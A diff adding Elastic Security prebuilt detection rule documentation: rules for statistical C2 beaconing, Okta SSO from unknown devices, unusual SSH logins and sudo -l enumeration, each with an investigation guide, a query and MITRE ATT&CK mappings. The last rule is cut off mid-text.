+*Network Beaconing Identification Setup* + +The Network Beaconing Identification integration consists of a statistical framework to identify C2 beaconing activity in network logs. + + +*Prerequisite Requirements:* + +- Fleet is required for Network Beaconing Identification. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Network events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] or https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Network Beaconing Identification integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Network Beaconing Identification and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. + + +==== Rule query + + +[source, js] +---------------------------------- +beacon_stats.beaconing_score: 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity.asciidoc new file mode 100644 index 0000000000..7909ea6ab7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity]] +=== Statistical Model Detected C2 Beaconing Activity + +A statistical model has identified command-and-control (C2) beaconing activity. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. + +*Rule type*: query + +*Rule indices*: + +* ml_beaconing.all + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/beaconing +* https://www.elastic.co/security-labs/identifying-beaconing-malware-using-elastic + +*Tags*: + +* Domain: Network +* Use Case: C2 Beaconing Detection +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Statistical Model Detected C2 Beaconing Activity* + + +Statistical models analyze network traffic patterns to identify anomalies indicative of C2 beaconing, a tactic used by attackers to maintain covert communication with compromised systems. Adversaries exploit this by sending periodic signals to C2 servers, often mimicking legitimate traffic. The detection rule leverages statistical analysis to flag unusual beaconing while excluding known benign processes, thus highlighting potential threats without overwhelming analysts with false positives. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source and destination IP addresses associated with the beaconing activity flagged by the statistical model. +- Cross-reference the identified IP addresses with threat intelligence databases to determine if they are associated with known malicious C2 servers. +- Analyze the frequency and pattern of the beaconing signals to assess whether they mimic legitimate traffic or exhibit characteristics typical of C2 communication. +- Investigate the processes running on the source system to identify any suspicious or unauthorized applications that may be responsible for the beaconing activity. +- Check for any recent changes or anomalies in the system's configuration or installed software that could indicate a compromise. +- Examine the historical network activity of the source system to identify any other unusual patterns or connections that may suggest a broader compromise. + + +*False positive analysis* + + +- The rule may flag legitimate processes that exhibit periodic network communication patterns similar to C2 beaconing. Processes like "metricbeat.exe" and "packetbeat.exe" are known to generate regular network traffic for monitoring purposes. +- Users can manage these false positives by adding exceptions for these known benign processes in the detection rule, ensuring they are not flagged as threats. +- Regularly review and update the list of excluded processes to include any new legitimate applications that may mimic beaconing behavior, reducing unnecessary alerts. +- Consider implementing a whitelist approach for processes that are verified as non-threatening, allowing the statistical model to focus on truly anomalous activities. +- Engage with network and security teams to understand the normal traffic patterns of your environment, which can help in refining the detection rule and minimizing false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with the C2 server and limit potential data exfiltration. +- Terminate any suspicious processes identified by the alert that are not part of the known benign list, ensuring that any malicious activity is halted. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software or files. +- Review and analyze network logs to identify any other systems that may have communicated with the same C2 server, and apply similar containment measures to those systems. +- Restore the affected system from a known good backup to ensure that any persistent threats are removed, and verify the integrity of the restored system. +- Implement network segmentation to limit the ability of compromised systems to communicate with critical infrastructure and sensitive data. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional measures are needed to prevent recurrence. + +==== Setup + + + +*Setup* + + +The rule requires the Network Beaconing Identification integration assets to be installed, as well as network logs collected by the Elastic Defend or Network Packet Capture integrations. + + +*Network Beaconing Identification Setup* + +The Network Beaconing Identification integration consists of a statistical framework to identify C2 beaconing activity in network logs. + + +*Prerequisite Requirements:* + +- Fleet is required for Network Beaconing Identification. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Network events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] or https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Network Beaconing Identification integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Network Beaconing Identification and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. + + +==== Rule query + + +[source, js] +---------------------------------- +beacon_stats.is_beaconing: true and +not process.name: ("WaAppAgent.exe" or "metricbeat.exe" or "packetbeat.exe" or "WindowsAzureGuestAgent.exe" or "HealthService.exe" or "Widgets.exe" or "lsass.exe" or "msedgewebview2.exe" or + "MsMpEng.exe" or "OUTLOOK.EXE" or "msteams.exe" or "FileSyncHelper.exe" or "SearchProtocolHost.exe" or "Creative Cloud.exe" or "ms-teams.exe" or "ms-teamsupdate.exe" or + "curl.exe" or "rundll32.exe" or "MsSense.exe" or "wermgr.exe" or "java" or "olk.exe" or "iexplore.exe" or "NetworkManager" or "packetbeat" or "Ssms.exe" or "NisSrv.exe" or + "gamingservices.exe" or "appidcertstorecheck.exe" or "POWERPNT.EXE" or "miiserver.exe" or "Grammarly.Desktop.exe" or "SnagitEditor.exe" or "CRWindowsClientService.exe" or + "agentbeat" or "dnf" or "yum" or "apt" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-application-sso-from-rare-unknown-client-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-application-sso-from-rare-unknown-client-device.asciidoc new file mode 100644 index 0000000000..267400b1c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-application-sso-from-rare-unknown-client-device.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-successful-application-sso-from-rare-unknown-client-device]] +=== Successful Application SSO from Rare Unknown Client Device + +Detects successful single sign-on (SSO) events to Okta applications from an unrecognized or "unknown" client device, as identified by the user-agent string. This activity may be indicative of exploitation of a vulnerability in Okta's Classic Engine, which could allow an attacker to bypass application-specific sign-on policies, such as device or network restrictions. The vulnerability potentially enables unauthorized access to applications using only valid, stolen credentials, without requiring additional authentication factors. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://trust.okta.com/security-advisories/okta-classic-application-sign-on-policy-bypass-2024/ + +*Tags*: + +* Domain: SaaS +* Data Source: Okta +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful Application SSO from Rare Unknown Client Device* + + +Single sign-on (SSO) streamlines user access across applications by using a single set of credentials. However, adversaries can exploit vulnerabilities in SSO systems, like Okta's, to bypass security policies using stolen credentials. The detection rule identifies unusual SSO events from unknown devices, signaling potential unauthorized access attempts, thus helping to mitigate risks associated with credential theft. + + +*Possible investigation steps* + + +- Review the event details in the alert to confirm the presence of the "Unknown" or "unknown" client device in the okta.client.device field. +- Check the user-agent string associated with the event to gather more information about the unknown device and assess if it matches any known legitimate devices used by the user. +- Investigate the user's recent login history and patterns to identify any anomalies or deviations from their typical behavior, such as unusual login times or locations. +- Verify if there have been any recent changes to the user's account, such as password resets or modifications to multi-factor authentication settings, which could indicate account compromise. +- Cross-reference the IP address associated with the SSO event against known malicious IP databases or internal threat intelligence to identify potential threats. +- Contact the user to confirm whether they recognize the login activity and the device used, ensuring it was an authorized access attempt. + + +*False positive analysis* + + +- Employees using new or updated devices may trigger false positives. Regularly update the list of recognized devices to include these changes. +- Legitimate users accessing applications from different locations or networks, such as while traveling, can appear as unknown devices. Implement geolocation checks and allow exceptions for known travel patterns. +- Software updates or changes in user-agent strings can cause devices to be misidentified. Monitor for consistent patterns and adjust the rule to accommodate these variations. +- Shared devices in environments like conference rooms or labs may not have unique identifiers. Establish a process to register these shared devices to prevent them from being flagged. +- Temporary network issues causing devices to appear as unknown can lead to false positives. Correlate with network logs to verify if the device is indeed unknown or if it was a transient issue. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Conduct a thorough review of the affected user's recent activity across all Okta-integrated applications to identify any unauthorized actions or data access. +- Reset the affected user's credentials and enforce a password change, ensuring the new password adheres to strong security policies. +- Implement multi-factor authentication (MFA) for the affected user account if not already in place, to add an additional layer of security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Review and update Okta's device recognition policies to improve detection of unknown or rare devices, reducing the risk of similar incidents. +- Monitor for any further suspicious SSO activities from unknown devices and escalate to the incident response team if additional alerts are triggered. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "okta.system" + and event.action: "user.authentication.sso" + and event.outcome: "success" + and okta.client.device: ("Unknown" or "unknown") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ip-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ip-address.asciidoc new file mode 100644 index 0000000000..73c4abae7b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ip-address.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ip-address]] +=== Successful SSH Authentication from Unusual IP Address + +This rule leverages the new_terms rule type to detect successful SSH authentications by an IP- address that has not been authenticated in the last 5 days. This behavior may indicate an attacker attempting to gain access to the system using a valid account. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.auth-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful SSH Authentication from Unusual IP Address* + + +Secure Shell (SSH) is a protocol used to securely access and manage Linux systems. Adversaries may exploit SSH by using stolen credentials to gain unauthorized access. The detection rule identifies successful logins from IPs not seen in the past 10 days, flagging potential intrusions. This approach helps in spotting unusual access patterns that could indicate compromised accounts. + + +*Possible investigation steps* + + +- Review the IP address flagged in the alert to determine its geolocation and assess if it aligns with expected access patterns for the user account involved. +- Check historical authentication logs for the user account to identify any other unusual or unauthorized access attempts, focusing on the event.category:authentication and event.action:ssh_login fields. +- Investigate the user account's recent activity on the system to identify any suspicious commands or actions executed post-authentication. +- Correlate the flagged IP address with known threat intelligence sources to determine if it is associated with any malicious activity or previously reported incidents. +- Contact the user associated with the account to verify if they recognize the login attempt and if they have recently accessed the system from a new location or device. + + +*False positive analysis* + + +- New employee or contractor access from a previously unseen IP address may trigger the rule. Regularly update the list of known IP addresses for new users to prevent unnecessary alerts. +- Remote workers or employees traveling may log in from different IP addresses. Implement a process to whitelist IP ranges associated with common travel destinations or VPNs used by the organization. +- Automated scripts or services that occasionally run from different IPs can cause false positives. Identify and document these services, then create exceptions for their known IP addresses. +- Cloud-based infrastructure changes, such as new instances or containers, might authenticate from new IPs. Maintain an updated inventory of cloud resources and their expected IP ranges to adjust the rule accordingly. +- Third-party vendors accessing systems for maintenance or support might use different IPs. Establish a protocol for temporary exceptions for vendor IPs during their access periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Verify the legitimacy of the login by contacting the account owner to confirm whether the access was authorized. If unauthorized, proceed with further steps. +- Change the password of the compromised account and any other accounts that may have been accessed using the same credentials. +- Review and analyze the system logs for any additional suspicious activity or changes made during the unauthorized access period. +- Escalate the incident to the security operations team for a thorough investigation and to determine if further systems are affected. +- Implement IP whitelisting or geofencing to restrict SSH access to known and trusted IP addresses only. +- Update and enhance monitoring rules to detect similar unauthorized access attempts in the future, ensuring that alerts are promptly reviewed and acted upon. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:ssh_login and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc new file mode 100644 index 0000000000..90a80104cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ssh-public-key]] +=== Successful SSH Authentication from Unusual SSH Public Key + +This rule leverages the new_terms rule type to detect successful SSH authentications via a public key that has not been seen in the last 5 days. Public key authentication is a secure method for authenticating users to a server. Monitoring unusual public key authentication events can help detect unauthorized access attempts or suspicious activity on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful SSH Authentication from Unusual SSH Public Key* + + +SSH public key authentication is a secure method for accessing Linux systems, relying on cryptographic keys rather than passwords. Adversaries may exploit this by using stolen or unauthorized keys to gain access. The detection rule identifies successful logins using new public keys, unseen in the past 10 days, signaling potential unauthorized access attempts. This helps in early detection of suspicious activities, aligning with threat tactics like Initial Access. + + +*Possible investigation steps* + + +- Review the specific SSH login event details, focusing on the event.category, event.action, and event.outcome fields to confirm the successful authentication via public key. +- Identify the source IP address and user account associated with the login event to determine if they are known or expected. +- Check the system.auth.ssh.method field to ensure the authentication method was indeed public key and not another method. +- Investigate the history of the public key used for authentication by searching logs for any previous occurrences or related activities within the last 10 days. +- Correlate the event with other security logs or alerts from the same host or user to identify any patterns or additional suspicious activities. +- Assess the risk by considering the context of the login, such as the time of access, the location of the source IP, and any recent changes in user behavior or system configurations. +- If unauthorized access is suspected, initiate incident response procedures, including revoking the public key, notifying affected parties, and conducting a thorough security review of the system. + + +*False positive analysis* + + +- Frequent logins from known automation scripts or services using rotating SSH keys can trigger false positives. To manage this, identify these services and add their public keys to an exception list. +- Developers or system administrators who regularly update their SSH keys for security reasons may cause alerts. Maintain a record of authorized personnel and their key update schedules to exclude these events. +- Temporary access granted to third-party vendors or contractors might appear as unusual activity. Ensure that any temporary access is documented and keys are added to an exception list during the access period. +- Test environments where SSH keys are frequently generated and used for various testing purposes can lead to false positives. Implement a separate monitoring policy for test environments to reduce noise in production alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Revoke the unauthorized SSH public key from the system's authorized_keys file to block further access using that key. +- Conduct a thorough review of recent login activities and system logs to identify any additional unauthorized access or suspicious activities that may have occurred. +- Change passwords and regenerate SSH keys for all legitimate users on the affected system to ensure no compromised credentials remain in use. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to regain access. +- Review and update access control policies and SSH key management practices to prevent similar incidents in the future, ensuring that only authorized keys are allowed and regularly audited. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:ssh_login and event.outcome:success and system.auth.ssh.method:publickey + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-user.asciidoc new file mode 100644 index 0000000000..1ea307ec66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-user.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-user]] +=== Successful SSH Authentication from Unusual User + +This rule leverages the new_terms rule type to detect successful SSH authentications by a user who has not been authenticated in the last 5 days. This behavior may indicate an attacker attempting to gain access to the system using a valid account. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.auth-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful SSH Authentication from Unusual User* + + +SSH (Secure Shell) is a protocol used to securely access and manage Linux systems. Adversaries may exploit valid user accounts to gain unauthorized access, bypassing traditional security measures. The detection rule identifies unusual SSH logins by flagging users who haven't logged in for over 10 days, indicating potential misuse of credentials. This proactive approach helps in early detection of unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the specific user account involved in the alert to determine if the login is expected or authorized, considering the user's typical login patterns and responsibilities. +- Check the source IP address of the SSH login to see if it is recognized or associated with previous legitimate access, or if it appears unusual or suspicious. +- Analyze the timing of the login event to see if it coincides with any known maintenance windows or scheduled activities that could explain the access. +- Investigate any recent changes to the user's account, such as password resets or modifications to permissions, that could indicate potential compromise. +- Correlate the SSH login event with other logs or alerts from the same timeframe to identify any additional suspicious activities or patterns that could suggest a broader security incident. + + +*False positive analysis* + + +- Users returning from extended leave or vacation may trigger the rule. To manage this, create exceptions for users with known absence periods. +- System administrators or service accounts that log in infrequently for maintenance tasks can be excluded by identifying and documenting these accounts. +- Automated scripts or processes that authenticate sporadically might be flagged. Review and whitelist these processes if they are legitimate and necessary for operations. +- Temporary contractors or consultants with limited access periods may cause alerts. Ensure their access is documented and create exceptions for their accounts during their engagement period. +- Accounts used for testing or development purposes that are not regularly active can be excluded by maintaining a list of such accounts and updating it as needed. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate the active SSH session associated with the unusual login to cut off the attacker's access. +- Reset the password for the compromised user account and any other accounts that may have been accessed using the same credentials. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional compromised accounts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been affected. +- Implement multi-factor authentication (MFA) for SSH access to enhance security and prevent similar unauthorized access attempts in the future. +- Update and enhance monitoring rules to detect similar unusual login patterns, ensuring early detection of potential threats. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:ssh_login and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sudo-command-enumeration-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sudo-command-enumeration-detected.asciidoc new file mode 100644 index 0000000000..3cdf4bcb93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sudo-command-enumeration-detected.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-sudo-command-enumeration-detected]] +=== Sudo Command Enumeration Detected + +This rule monitors for the usage of the sudo -l command, which is used to list the allowed and forbidden commands for the invoking user. Attackers may execute this command to enumerate commands allowed to be executed with sudo permissions, potentially allowing to escalate privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure 